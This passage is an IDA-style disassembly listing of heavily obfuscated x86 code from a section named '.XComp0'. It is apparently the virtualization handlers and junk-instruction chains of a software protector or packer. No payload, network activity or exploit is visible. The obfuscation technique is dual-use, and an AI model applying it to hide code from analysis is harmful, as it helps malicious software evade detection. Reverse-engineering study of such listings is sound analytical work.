CODE XREF: .XComp0:00578D90j pop ebx push esi mov esi, 1AE72DF5h add [esp+8], esi pop esi sub dword ptr [esp+4], 4B8F51C7h jmp loc_58202E ; --------------------------------------------------------------------------- loc_57E23B: ; CODE XREF: .XComp0:00576D45j mov esp, [esp] mov ax, [esp] push esi jmp loc_57DD51 ; --------------------------------------------------------------------------- loc_57E248: ; CODE XREF: .XComp0:0057D089j jmp loc_573541 ; --------------------------------------------------------------------------- loc_57E24D: ; CODE XREF: .XComp0:0057A8FEj pop edi pop dword ptr [esp] mov esp, [esp] mov [esp], ecx jmp loc_573541 ; --------------------------------------------------------------------------- loc_57E25C: ; CODE XREF: .XComp0:005743DDj pop esi jmp loc_574E84 ; --------------------------------------------------------------------------- loc_57E262: ; CODE XREF: .XComp0:0058105Dj xor esi, 31576F16h push eax jmp loc_574177 ; --------------------------------------------------------------------------- loc_57E26E: ; CODE XREF: .XComp0:0057C03Cj push dword ptr [esp] pop eax add esp, 4 push ebx mov ebx, esp push ecx mov ecx, 4 jmp loc_57E56D ; --------------------------------------------------------------------------- neg byte ptr [esp] pushf jmp loc_57855D ; --------------------------------------------------------------------------- loc_57E28F: ; CODE XREF: .XComp0:0057E810j add esp, 4 jmp loc_5764CD ; --------------------------------------------------------------------------- loc_57E297: ; CODE XREF: .XComp0:00574B30j pop esp push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 push eax push esp mov eax, [esp] push edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_57D158 ; --------------------------------------------------------------------------- loc_57E2BC: ; CODE XREF: .XComp0:00581480j mov dh, ah pop eax sub dh, 72h add bl, dh pop edx add bl, al push ecx jmp loc_5803DD ; --------------------------------------------------------------------------- mov cx, [esp] push esi push 5DDEh mov [esp], esp add dword ptr [esp], 4 jmp loc_574A48 ; --------------------------------------------------------------------------- loc_57E2E6: ; CODE XREF: .XComp0:00576D58j sub eax, 0FE5328Ah mov edx, [esp] add esp, 4 xor eax, [esp] jmp loc_57B073 ; --------------------------------------------------------------------------- loc_57E2FC: ; CODE XREF: .XComp0:0057B4ADj pop dword ptr [esp] push ecx jmp loc_5805D3 ; --------------------------------------------------------------------------- loc_57E305: ; CODE XREF: .XComp0:00576A51j mov esp, [esp] xor ebx, edx jmp loc_577E91 ; --------------------------------------------------------------------------- loc_57E30F: ; CODE XREF: .XComp0:00574358j add esp, 4 push 3FC3h jmp loc_574C3E ; --------------------------------------------------------------------------- loc_57E31F: ; CODE XREF: .XComp0:0057B90Ej mov edi, ebp pop ebp jmp loc_57C9D3 ; --------------------------------------------------------------------------- loc_57E327: ; CODE XREF: .XComp0:0057C927j not ecx dec ecx not ecx inc ecx jmp loc_57EB07 ; --------------------------------------------------------------------------- loc_57E332: ; CODE XREF: .XComp0:00577F14j push esi mov esi, 1EF55B9Ah add ebx, esi pop esi pop esi or [edi+1Ch], ebx mov ebx, [esp] jmp loc_57BA14 ; --------------------------------------------------------------------------- loc_57E347: ; CODE XREF: .XComp0:0057A2ABj add esi, edi jmp loc_57CCD2 ; --------------------------------------------------------------------------- loc_57E34E: ; CODE XREF: .XComp0:0057C536j push 57A6h mov [esp], ebx mov ebx, 5BC84265h inc ebx sub ebx, 5BC84262h add esi, ebx jmp loc_575B31 ; --------------------------------------------------------------------------- loc_57E369: ; CODE XREF: .XComp0:0057A628j add esp, 4 xchg esi, [esp] pop esp jmp loc_5777F4 ; --------------------------------------------------------------------------- loc_57E375: ; CODE XREF: .XComp0:00581E58j mov esi, 2473415Ah jmp loc_576C91 ; --------------------------------------------------------------------------- loc_57E37F: ; CODE XREF: .XComp0:0057EA26j add edx, edi mov edi, [esp] jmp loc_57F7A5 ; --------------------------------------------------------------------------- loc_57E389: ; CODE XREF: .XComp0:00575DCBj add ebx, 4 push edi mov edi, 4 sub ebx, edi jmp loc_57F0BB ; --------------------------------------------------------------------------- loc_57E39C: ; CODE XREF: .XComp0:00577916j mov [esp], edx mov edx, 2FCC2AEAh add edx, 7D55306Fh jmp loc_578CF3 ; --------------------------------------------------------------------------- loc_57E3AF: ; CODE XREF: .XComp0:00573B1Cj add ecx, ebp pop ebp sub esp, 4 mov [esp], ebx push 3D3Ch mov [esp], ebp mov ebp, 63414BE2h shr ebp, 8 push edx jmp loc_5765F0 ; --------------------------------------------------------------------------- loc_57E3D1: ; CODE XREF: .XComp0:0057CD21j mov eax, 6D462D74h not eax shr eax, 5 add eax, 9B9544Bh sub eax, 5C7323E8h add eax, 0BF915FCAh or esi, eax pop eax jmp loc_57C599 ; --------------------------------------------------------------------------- loc_57E3F2: ; CODE XREF: .XComp0:00576992j or eax, eax jz loc_5823FF push 3265h mov [esp], esi jmp loc_57712E ; --------------------------------------------------------------------------- loc_57E407: ; CODE XREF: .XComp0:0057FCF0j add esp, 4 jmp loc_577076 ; --------------------------------------------------------------------------- loc_57E412: ; CODE XREF: .XComp0:005792A5j mov edx, [esp] add esp, 4 sub esi, 657B3F24h add esi, ebp add esi, 657B3F24h pop ebp push ebx mov ebx, 4A5D752Dh and ebx, 75CF6F4Ch shl ebx, 4 sub ebx, 0C081E379h jmp loc_574A9C ; --------------------------------------------------------------------------- loc_57E441: ; CODE XREF: .XComp0:0058199Fj add dword ptr [esp], 4 pop esi add esi, 4 jmp loc_583171 ; --------------------------------------------------------------------------- loc_57E454: ; CODE XREF: .XComp0:00579038j xchg esi, [esp] jmp loc_575BD1 ; --------------------------------------------------------------------------- loc_57E45C: ; CODE XREF: .XComp0:0057A2BFj sub [esp+4], edx mov edx, [esp] push ebp jmp loc_57EC30 ; --------------------------------------------------------------------------- loc_57E469: ; CODE XREF: .XComp0:00580EE7j xchg eax, [esp] pop esp mov [esp], eax mov eax, 45161D2h shl eax, 6 xor eax, 6EAB747Ch sub eax, 0DA38F03Eh jmp loc_57F40B ; --------------------------------------------------------------------------- loc_57E487: ; CODE XREF: .XComp0:0057474Ej or eax, ebx pop ebx shr eax, 5 or eax, 79975402h xor eax, 0D3141955h add ecx, eax jmp loc_5771F2 ; --------------------------------------------------------------------------- loc_57E49E: ; CODE XREF: .XComp0:00575D58j pop edx add esp, 4 push 0B19h jmp loc_57C0C1 ; --------------------------------------------------------------------------- loc_57E4AF: ; CODE XREF: .XComp0:00578945j sub esi, 67C55452h add esi, 9AF11D2h mov ebp, [esp] add esp, 4 push edx mov edx, 7D246296h and esi, edx pop edx jmp loc_5752DD ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp], cl pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_57E4E2: ; CODE XREF: .XComp0:00576098j add edx, 208B408Ah jmp loc_57461F ; --------------------------------------------------------------------------- loc_57E4ED: ; CODE XREF: .XComp0:00579AA6j pop edx sub dword ptr [esp], 352952C7h jmp loc_580AAB ; --------------------------------------------------------------------------- loc_57E4FA: ; CODE XREF: .XComp0:005830BFj push ebp mov ebp, 24822A92h add edx, ebp pop ebp add edx, eax push esi push 64DC5CF2h pop esi push 5E12h mov [esp], edx push 1CE34AADh jmp loc_575F91 ; --------------------------------------------------------------------------- loc_57E51E: ; CODE XREF: .XComp0:00576D7Fj jmp loc_573541 ; --------------------------------------------------------------------------- loc_57E523: ; CODE XREF: .XComp0:005789B5j push esi push esp pop esi jmp loc_573F6C ; --------------------------------------------------------------------------- loc_57E52B: ; CODE XREF: .XComp0:0057817Fj push dword ptr [esp] pop eax push ecx mov ecx, esp jmp loc_57529A ; --------------------------------------------------------------------------- loc_57E537: ; CODE XREF: .XComp0:00577756j and ebp, edx jmp loc_575F57 ; --------------------------------------------------------------------------- loc_57E53E: ; CODE XREF: .XComp0:0057D3BEj mov [esp], ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx sub esp, 4 mov [esp], eax jmp loc_57C2A4 ; --------------------------------------------------------------------------- loc_57E55A: ; CODE XREF: .XComp0:00577C3Fj push ecx mov cl, 0E4h add cl, 63h add al, 27h sub al, 95h sub al, cl add al, 95h jmp loc_583275 ; --------------------------------------------------------------------------- loc_57E56D: ; CODE XREF: .XComp0:0057E281j add ebx, ecx pop ecx push edx mov edx, esp add edx, 4 jmp loc_575DBA ; --------------------------------------------------------------------------- loc_57E57E: ; CODE XREF: .XComp0:005822DEj mov ah, 15h mov dl, ah jmp loc_577A1E ; --------------------------------------------------------------------------- loc_57E587: ; CODE XREF: .XComp0:0057F8BEj pop ecx dec ecx inc ecx and ecx, 784D200Ah push eax mov eax, 38B706A2h neg eax jmp loc_58287D ; --------------------------------------------------------------------------- loc_57E59D: ; CODE XREF: .XComp0:00576AEFj push small 51C9h jmp loc_5817C2 ; --------------------------------------------------------------------------- loc_57E5A6: ; CODE XREF: .XComp0:0057B346j sub eax, 68392A61h jmp loc_57A2E7 ; --------------------------------------------------------------------------- loc_57E5B0: ; CODE XREF: .XComp0:0057E666j or ebx, eax push dword ptr [esp] pop eax add esp, 4 jmp loc_57AAF4 ; --------------------------------------------------------------------------- loc_57E5C1: ; CODE XREF: .XComp0:00581840j add esi, 4 add esi, 4 push 35F6h mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp jmp loc_573541 ; --------------------------------------------------------------------------- loc_57E5E3: ; CODE XREF: .XComp0:00575913j xor eax, 0A5A5B233h mov ecx, eax jmp loc_5782E9 ; --------------------------------------------------------------------------- loc_57E5EF: ; CODE XREF: .XComp0:005788B1j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_576523 ; --------------------------------------------------------------------------- loc_57E602: ; CODE XREF: .XComp0:005790C1j mov ebp, 4 add esi, ebp pop ebp jmp loc_580DB3 ; --------------------------------------------------------------------------- loc_57E60F: ; CODE XREF: .XComp0:0058329Dj push ebx mov ebx, 1AAE6478h shl ebx, 4 jmp loc_579746 ; --------------------------------------------------------------------------- loc_57E61D: ; CODE XREF: .XComp0:0057F1CBj sub ecx, 0FD823898h xor esi, ecx pop ecx inc esi neg esi xor esi, 0AB32E18Ch or ecx, esi pop esi add ecx, 4B185425h add esi, ecx mov ecx, [esp] add esp, 4 xchg esi, [esp] mov esp, [esp] sub esp, 4 jmp loc_581667 ; --------------------------------------------------------------------------- loc_57E651: ; CODE XREF: .XComp0:0057F0FFj xor esi, 14DE4289h and ebx, esi pop esi add ebx, 0FFFFFFFFh push eax mov eax, 74B05664h jmp loc_57E5B0 ; --------------------------------------------------------------------------- loc_57E66B: ; CODE XREF: .XComp0:0057F490j push edx dec dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_5772D8 ; --------------------------------------------------------------------------- loc_57E67A: ; CODE XREF: .XComp0:00580E6Cj sub dword ptr [esp+4], 18C62F82h sub dword ptr [esp+4], 539B2545h pop esi mov esi, [esp] add esp, 4 jmp loc_58232C ; --------------------------------------------------------------------------- loc_57E699: ; CODE XREF: .XComp0:005823D3j push ebp mov ebp, 4 jmp loc_57BB83 ; --------------------------------------------------------------------------- loc_57E6A4: ; CODE XREF: .XComp0:0057C53Cj mov ecx, 600C4CBDh jmp loc_57D17F ; --------------------------------------------------------------------------- loc_57E6AE: ; CODE XREF: .XComp0:0057E0B3j push edx push eax mov eax, 62CF064Eh push ebp mov ebp, eax mov edx, ebp pop ebp jmp loc_575FC8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_57E6C0: ; CODE XREF: sub_5A47B5-29645j mov dh, 83h neg dh xor dh, 0CCh jmp loc_573E6E ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_57E6CC: ; CODE XREF: .XComp0:0057FB36j xor ebp, 6939641Ah jmp loc_580DE2 ; --------------------------------------------------------------------------- loc_57E6D7: ; CODE XREF: .XComp0:00581654j sub dword ptr [esp+4], 18F17E09h jmp loc_5757FA ; --------------------------------------------------------------------------- loc_57E6E4: ; CODE XREF: .XComp0:00580704j pop eax add edx, 4 jmp loc_57B3F8 ; --------------------------------------------------------------------------- loc_57E6ED: ; CODE XREF: .XComp0:0057DD29j mov edx, esp add edx, 4 add edx, 2 xchg edx, [esp] jmp loc_57568D ; --------------------------------------------------------------------------- loc_57E703: ; CODE XREF: .XComp0:00582940j mov [esp], ebx mov bl, 3Dh jmp loc_57AB1A ; --------------------------------------------------------------------------- loc_57E70D: ; CODE XREF: .XComp0:00580EDDj pop edi mov esi, [esp] add esp, 4 xor esi, 31997513h jmp loc_57B0FD ; --------------------------------------------------------------------------- loc_57E71F: ; CODE XREF: .XComp0:005772F4j pop eax jmp loc_582E48 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_57E725: ; CODE XREF: sub_5A47B5-2ACCCj push cx jmp loc_579C68 ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_57E72C: ; CODE XREF: .XComp0:00578915j mov [esp], eax mov ah, 0A8h inc ah or ah, 0DAh inc ah xor ah, 25h shl ah, 8 push edx mov dh, 4Ch jmp loc_57E05E ; --------------------------------------------------------------------------- loc_57E746: ; CODE XREF: .XComp0:00579FDCj xor bl, cl pop ecx or bl, 5 sub bl, 18h xor bl, 51h sub al, 5Fh add al, bl add al, 5Fh mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_57AAE2 ; --------------------------------------------------------------------------- loc_57E772: ; CODE XREF: .XComp0:00583054j push ecx push eax mov eax, 5F51011Ch mov ecx, 0A0AEFEE8h add ecx, eax jmp loc_57F529 ; --------------------------------------------------------------------------- loc_57E785: ; CODE XREF: .XComp0:005747E5j mov esi, 2D0E71E0h xor esi, 6BB161A5h mov edi, esi jmp loc_578367 ; --------------------------------------------------------------------------- loc_57E797: ; CODE XREF: .XComp0:0058320Cj push dword ptr [esp] jmp loc_579ECF ; --------------------------------------------------------------------------- loc_57E79F: ; CODE XREF: .XComp0:00579512j mov ebx, [esp] add esp, 4 add ebx, 4 push ebp push edx mov edx, 25E52767h jmp loc_57838F ; --------------------------------------------------------------------------- loc_57E7B7: ; CODE XREF: .XComp0:00579233j add al, 23h push edx mov dh, al mov bl, dh pop edx jmp loc_5811E9 ; --------------------------------------------------------------------------- loc_57E7C4: ; CODE XREF: .XComp0:00577FEEj push ebx mov ebx, 4 jmp loc_57782F ; --------------------------------------------------------------------------- loc_57E7CF: ; CODE XREF: .XComp0:005784A1j push esp pop ebp push ecx push edi push 19FC5B54h pop edi push eax mov eax, 30C2436Ch jmp loc_5768E9 ; --------------------------------------------------------------------------- loc_57E7E4: ; CODE XREF: .XComp0:005774FBj xchg di, dx xor [esp], dx xor dx, [esp] xor [esp], dx jmp loc_57949C ; --------------------------------------------------------------------------- loc_57E7F8: ; CODE XREF: .XComp0:00577480j jmp loc_573541 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_575FAB ; --------------------------------------------------------------------------- loc_57E805: ; CODE XREF: .XComp0:00574070j mov [esp], edx push ebx mov bl, al mov dl, bl mov ebx, [esp] jmp loc_57E28F ; --------------------------------------------------------------------------- loc_57E815: ; CODE XREF: .XComp0:0057EE3Aj push dword ptr [esp] pop ebp add esp, 4 push esi mov esi, 2 add ecx, esi pop esi xchg ecx, [esp] mov esp, [esp] mul cx push 6C89h mov [esp], esi mov esi, esp sub esp, 4 mov [esp], edi jmp loc_581396 ; --------------------------------------------------------------------------- loc_57E846: ; CODE XREF: .XComp0:0058156Dj xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp jmp loc_577B69 ; --------------------------------------------------------------------------- loc_57E855: ; CODE XREF: .XComp0:005793BEj sub esp, 4 jmp loc_57D723 ; --------------------------------------------------------------------------- loc_57E85D: ; CODE XREF: .XComp0:0057B877j xor eax, ecx xor ecx, eax not eax xchg eax, ecx jmp loc_5824CB ; --------------------------------------------------------------------------- loc_57E869: ; CODE XREF: .XComp0:00580AC0j not ebp xor ebp, 0CE179CE5h add edx, ebp mov ebp, [esp] add esp, 4 sub edx, 0F1785387h jmp loc_57A681 ; --------------------------------------------------------------------------- loc_57E884: ; CODE XREF: .XComp0:0057B0FEj mov ecx, esi mov edx, ecx pop ecx mov esi, [esp] push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov eax, edx mov edx, [esp] push 459Eh jmp loc_58277E ; --------------------------------------------------------------------------- loc_57E8AB: ; CODE XREF: .XComp0:0057EF7Ej pop edi jmp loc_57A6D2 ; --------------------------------------------------------------------------- loc_57E8B1: ; CODE XREF: .XComp0:00579EE6j and edi, 0A5B40A1h and edi, 641A037Ah add edi, 6DAE2FBh mov esi, edi pop edi jmp loc_582171 ; --------------------------------------------------------------------------- loc_57E8CB: ; CODE XREF: .XComp0:0057B82Ej xchg eax, [esp] pop esp jmp loc_57F030 ; --------------------------------------------------------------------------- loc_57E8D4: ; CODE XREF: .XComp0:0057AC98j inc eax jmp loc_579E42 ; --------------------------------------------------------------------------- loc_57E8DA: ; CODE XREF: .XComp0:00575DF8j push esi pop ebp pop esi jmp loc_57F4FB ; --------------------------------------------------------------------------- loc_57E8E2: ; CODE XREF: .XComp0:00575FB1j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push ebx jmp loc_579511 ; --------------------------------------------------------------------------- loc_57E8F8: ; CODE XREF: .XComp0:0057E1C7j mov ebx, 790F7276h sub ebx, 46813F2Eh sub ebx, 328E3344h add ebp, ebx pop ebx add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 push edi push 55FAh mov [esp], esp add dword ptr [esp], 4 jmp loc_5770E6 ; --------------------------------------------------------------------------- loc_57E92E: ; CODE XREF: .XComp0:00575532j shl edx, 1 push ebp mov ebp, esp add ebp, 4 push 301h mov [esp], edi sub esp, 4 mov [esp], ebp mov ebp, 4 mov edi, ebp mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub ebp, edi push dword ptr [esp] pop edi add esp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] mov [esp], ebp mov ebp, 0FFFFFFFFh sub [edi+24h], ebp push dword ptr [esp] jmp loc_5823FB ; --------------------------------------------------------------------------- loc_57E98C: ; CODE XREF: .XComp0:0057D05Aj add esp, 4 push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp pop dword ptr [esp] mov esp, [esp] mov [esp], esi push esp mov esi, [esp] add esp, 4 add esi, 4 add esi, 2 jmp loc_580202 ; --------------------------------------------------------------------------- loc_57E9C9: ; CODE XREF: .XComp0:0057876Cj xor ebp, 56B43DDBh xor ebp, 259D0CC1h add ebp, 0C4ADEC9Fh mov edx, ebp pop ebp jmp loc_581EC3 ; --------------------------------------------------------------------------- loc_57E9E3: ; CODE XREF: .XComp0:005814E0j push esp jmp loc_581AA9 ; --------------------------------------------------------------------------- loc_57E9E9: ; CODE XREF: .XComp0:005753E8j push ecx mov ecx, 1ED7637Bh neg ecx neg ecx or ecx, 27885A9Eh neg ecx jmp loc_5798E0 ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFFF41Fh ; --------------------------------------------------------------------------- loc_57EA08: ; CODE XREF: .XComp0:00573D36j mov ecx, ebx pop ebx sub ecx, 7E9207FDh add edi, 1840397Ah sub edi, ecx jmp loc_57B8C5 ; --------------------------------------------------------------------------- loc_57EA1E: ; CODE XREF: .XComp0:0057ECECj push esp pop edx push edi mov edi, 4 jmp loc_57E37F ; --------------------------------------------------------------------------- loc_57EA2B: ; CODE XREF: .XComp0:00583142j mov edx, esp push ecx mov ecx, 4 add edx, ecx jmp loc_57F82B ; --------------------------------------------------------------------------- loc_57EA3A: ; CODE XREF: .XComp0:0057BA9Ej mov esi, 200E720Eh push esi xor dword ptr [esp], 44F8530Eh pop edx xor edx, 44F8530Eh jmp loc_574522 ; --------------------------------------------------------------------------- loc_57EA53: ; CODE XREF: .XComp0:00577E7Aj shl edx, 1 push 1FBCh mov [esp], ebp push 0FFFFFFFFh push dword ptr [esp] mov ebp, [esp] jmp loc_57DFCC ; --------------------------------------------------------------------------- loc_57EA6D: ; CODE XREF: .XComp0:0057CF34j add edi, esi mov esi, [esp] sub esp, 4 mov [esp], edi jmp loc_583052 ; --------------------------------------------------------------------------- loc_57EA80: ; CODE XREF: .XComp0:005805FDj pop eax push esi push esp mov esi, [esp] push edi mov edi, esp add edi, 4 jmp loc_574C66 ; --------------------------------------------------------------------------- loc_57EA94: ; CODE XREF: .XComp0:0057D99Bj mov ebp, 477A0F44h and esi, ebp push dword ptr [esp] pop ebp jmp loc_57DE69 ; --------------------------------------------------------------------------- loc_57EAA4: ; CODE XREF: .XComp0:0057932Dj shl cl, 8 shl cl, 8 jmp loc_580652 ; --------------------------------------------------------------------------- loc_57EAAF: ; CODE XREF: .XComp0:00574952j push 656Ah mov [esp], ecx mov cl, 0E9h sub esp, 4 jmp loc_57A7D8 ; --------------------------------------------------------------------------- loc_57EAC4: ; CODE XREF: .XComp0:0057DCE9j pop eax and ecx, edi pop edi neg ecx jmp loc_578754 ; --------------------------------------------------------------------------- loc_57EACF: ; CODE XREF: .XComp0:00582D3Aj xchg ecx, [esp] pop esp xor ebx, eax jmp loc_576EAA ; --------------------------------------------------------------------------- loc_57EADA: ; CODE XREF: .XComp0:00580A45j mov [esp], ebx mov ebx, 482C78BFh shl ebx, 3 not ebx inc ebx jmp loc_57D6D2 ; --------------------------------------------------------------------------- loc_57EAED: ; CODE XREF: .XComp0:0057D63Bj add edi, 4 sub edi, 4 push 5352h mov [esp], edi push dword ptr [esp+4] jmp loc_57DD90 ; --------------------------------------------------------------------------- loc_57EB07: ; CODE XREF: .XComp0:0057E32Dj shl ecx, 6 shl ecx, 4 push edx mov edx, 31531358h neg edx jmp loc_57ED47 ; --------------------------------------------------------------------------- loc_57EB1A: ; CODE XREF: .XComp0:005787C2j pop edx push ebp mov ebp, 113915E8h add esi, ebp pop ebp jmp loc_57E0C7 ; --------------------------------------------------------------------------- loc_57EB29: ; CODE XREF: .XComp0:0057C271j sub esp, 4 mov [esp], ecx jmp loc_583398 ; --------------------------------------------------------------------------- loc_57EB34: ; CODE XREF: .XComp0:0057EEFFj push ebp push 5D3C0159h pop ebp jmp loc_57A09A ; --------------------------------------------------------------------------- loc_57EB40: ; CODE XREF: .XComp0:005743F1j mov esi, 36165459h add ecx, 1BB37E86h sub ecx, 2F8E1EC8h sub ecx, esi add ecx, 2F8E1EC8h sub ecx, 1BB37E86h jmp loc_58044C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_57EB64: ; CODE XREF: sub_5A47B5-2445Ej mov dl, 47h shl dl, 3 shr dl, 3 push ax jmp loc_57377D ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_57EB73: ; CODE XREF: .XComp0:005780B2j add esp, 4 sub esp, 4 mov [esp], esi mov esi, 1EBF1F07h xor esi, 29C13EB0h jmp loc_57D576 ; --------------------------------------------------------------------------- loc_57EB8C: ; CODE XREF: .XComp0:0057F7E5j push esi jmp loc_58307C ; --------------------------------------------------------------------------- loc_57EB92: ; CODE XREF: .XComp0:00575ED4j add ecx, esi jmp loc_578D4A ; --------------------------------------------------------------------------- loc_57EB99: ; CODE XREF: .XComp0:00579585j add dword ptr [esp], 4 pop ebp jmp loc_5741D3 ; --------------------------------------------------------------------------- loc_57EBA6: ; CODE XREF: .XComp0:00578681j add ebx, 4 jmp loc_57FA3A ; --------------------------------------------------------------------------- loc_57EBAE: ; CODE XREF: .XComp0:0057C3F5j mov ebp, [esp] add esp, 4 jmp loc_5791B6 ; --------------------------------------------------------------------------- loc_57EBBC: ; CODE XREF: .XComp0:00576201j push ecx mov cl, 6Bh inc cl add cl, 0E1h add al, cl pop ecx pop edx add al, dl sub al, 0EDh pop edx jmp loc_57775B ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], ax pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_57EBE2: ; CODE XREF: .XComp0:0057420Bj shl ebx, 1 shr ebx, 3 sub ebx, 2BE84E71h jmp loc_579FB4 ; --------------------------------------------------------------------------- loc_57EBF2: ; CODE XREF: .XComp0:00573739j not dl neg dl push small 4304h mov [esp], ax jmp loc_58192C ; --------------------------------------------------------------------------- loc_57EC03: ; CODE XREF: .XComp0:005767A1j sub esp, 4 mov [esp], ebx mov bl, 13h xor bl, 0E4h jmp loc_57D13C ; --------------------------------------------------------------------------- loc_57EC13: ; CODE XREF: .XComp0:0057FA77j mov cl, dh pop edx push small 0 sub [esp], cl mov cl, [esp] add esp, 2 dec cl sub cl, 0D5h sub dh, cl pop ecx jmp loc_57726A ; --------------------------------------------------------------------------- loc_57EC30: ; CODE XREF: .XComp0:0057E464j mov ebp, esp add ebp, 4 add ebp, 4 sub esp, 4 mov [esp], ebp jmp loc_57C9B6 ; --------------------------------------------------------------------------- loc_57EC49: ; CODE XREF: .XComp0:00574C1Cj pop esi add ecx, edx sub ecx, 13742BBAh push dword ptr [esp] pop edx push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] push ecx jmp loc_5813F1 ; --------------------------------------------------------------------------- loc_57EC71: ; CODE XREF: .XComp0:0057C962j add esp, 4 push ecx push esp jmp loc_575BB1 ; --------------------------------------------------------------------------- loc_57EC7E: ; CODE XREF: .XComp0:00580E3Ej push 1D9Fh mov [esp], ebx push edx jmp loc_573CC9 ; --------------------------------------------------------------------------- loc_57EC8C: ; CODE XREF: .XComp0:0057B51Bj add esp, 4 push 22CDh mov [esp], esi jmp loc_57486B ; --------------------------------------------------------------------------- loc_57EC9C: ; CODE XREF: .XComp0:00581428j dec ebx neg ebx jmp loc_57C53B ; --------------------------------------------------------------------------- loc_57ECA4: ; CODE XREF: .XComp0:0057A1ABj add ebp, ecx mov ecx, [esp] push edx mov edx, esp jmp loc_57F503 ; --------------------------------------------------------------------------- loc_57ECB1: ; CODE XREF: .XComp0:005774E2j pop esp mov [esp], ecx jmp loc_5759E7 ; --------------------------------------------------------------------------- loc_57ECBA: ; CODE XREF: .XComp0:00578EB6j sub cl, 0CFh mov dh, cl pop ecx add dh, 1 or dh, 70h push ecx mov ch, 70h xor dh, ch pop ecx xor dh, 68h jmp loc_5805E5 ; --------------------------------------------------------------------------- loc_57ECD4: ; CODE XREF: .XComp0:00581C2Cj mov edi, esp add edi, 4 push esi mov esi, 4 sub edi, esi pop esi xchg edi, [esp] pop esp mov [esp], edx jmp loc_57EA1E ; --------------------------------------------------------------------------- loc_57ECF1: ; CODE XREF: .XComp0:0057D299j add ecx, edi sub ecx, 22915D9Fh pop edi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_57C1B5 ; --------------------------------------------------------------------------- loc_57ED0B: ; CODE XREF: .XComp0:0057FE4Aj mov edi, 3D9A616Bh xor esi, edi pop edi push eax mov eax, 0F2E39A9Ah add esi, eax pop eax jmp loc_582553 ; --------------------------------------------------------------------------- loc_57ED21: ; CODE XREF: .XComp0:0057C817j sub ebx, 795721F7h jmp loc_581933 ; --------------------------------------------------------------------------- loc_57ED2C: ; CODE XREF: .XComp0:0057D414j add ecx, 11D63CD3h add ecx, edx sub ecx, 11D63CD3h jmp loc_57AD06 ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_573541 ; --------------------------------------------------------------------------- loc_57ED47: ; CODE XREF: .XComp0:0057EB15j sub edx, 6DAD3BADh sub edx, 805558F9h xor ecx, edx pop edx sub ebp, 6C084160h jmp loc_582E60 ; --------------------------------------------------------------------------- loc_57ED61: ; CODE XREF: .XComp0:0057C99Aj sub bp, si pop si push small 3CE6h jmp loc_57AB0D ; --------------------------------------------------------------------------- loc_57ED6F: ; CODE XREF: .XComp0:0057361Ej pop esp mov [esp], ebp jmp loc_57F36F ; --------------------------------------------------------------------------- loc_57ED78: ; CODE XREF: .XComp0:0057487Ej add edi, ebp pop ebp pop esi push eax mov eax, 4CC30336h jmp loc_577B8E ; --------------------------------------------------------------------------- loc_57ED87: ; CODE XREF: .XComp0:00574AC9j push ecx jmp loc_574DC5 ; --------------------------------------------------------------------------- loc_57ED8D: ; CODE XREF: .XComp0:005735D1j push dword ptr [esp] pop edx add esp, 4 push eax push 977h mov [esp], ebx mov ebx, 3D4768ACh sub esp, 4 jmp loc_577170 ; --------------------------------------------------------------------------- loc_57EDAA: ; CODE XREF: .XComp0:005829D5j mov edi, 939E9B3Eh sub edi, eax pop eax or eax, edi mov edi, [esp] push eax mov eax, esp add eax, 4 jmp loc_57F585 ; --------------------------------------------------------------------------- loc_57EDC4: ; CODE XREF: .XComp0:0057D545j jmp loc_573541 ; --------------------------------------------------------------------------- loc_57EDC9: ; CODE XREF: .XComp0:0057710Cj mov esi, esp add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp mov [esp], esp push eax mov eax, 4 add [esp+4], eax jmp loc_581089 ; --------------------------------------------------------------------------- loc_57EDF3: ; CODE XREF: .XComp0:0057EF96j add ecx, 4 jmp loc_580114 ; --------------------------------------------------------------------------- loc_57EDFE: ; CODE XREF: .XComp0:00573ECDj pop ecx xchg edi, [esp] pop esp add eax, 4 xchg eax, [esp] mov esp, [esp] push 7B77h jmp loc_57B6EF ; --------------------------------------------------------------------------- loc_57EE16: ; CODE XREF: .XComp0:00573B47j mov esi, 186F1B61h shl esi, 7 jmp loc_577CC7 ; --------------------------------------------------------------------------- loc_57EE23: ; CODE XREF: .XComp0:0058079Ej pop dword ptr [esp] jmp loc_57F2C0 ; --------------------------------------------------------------------------- loc_57EE2B: ; CODE XREF: .XComp0:0057FF8Bj mov ecx, [edx] jmp loc_57CB6F ; --------------------------------------------------------------------------- 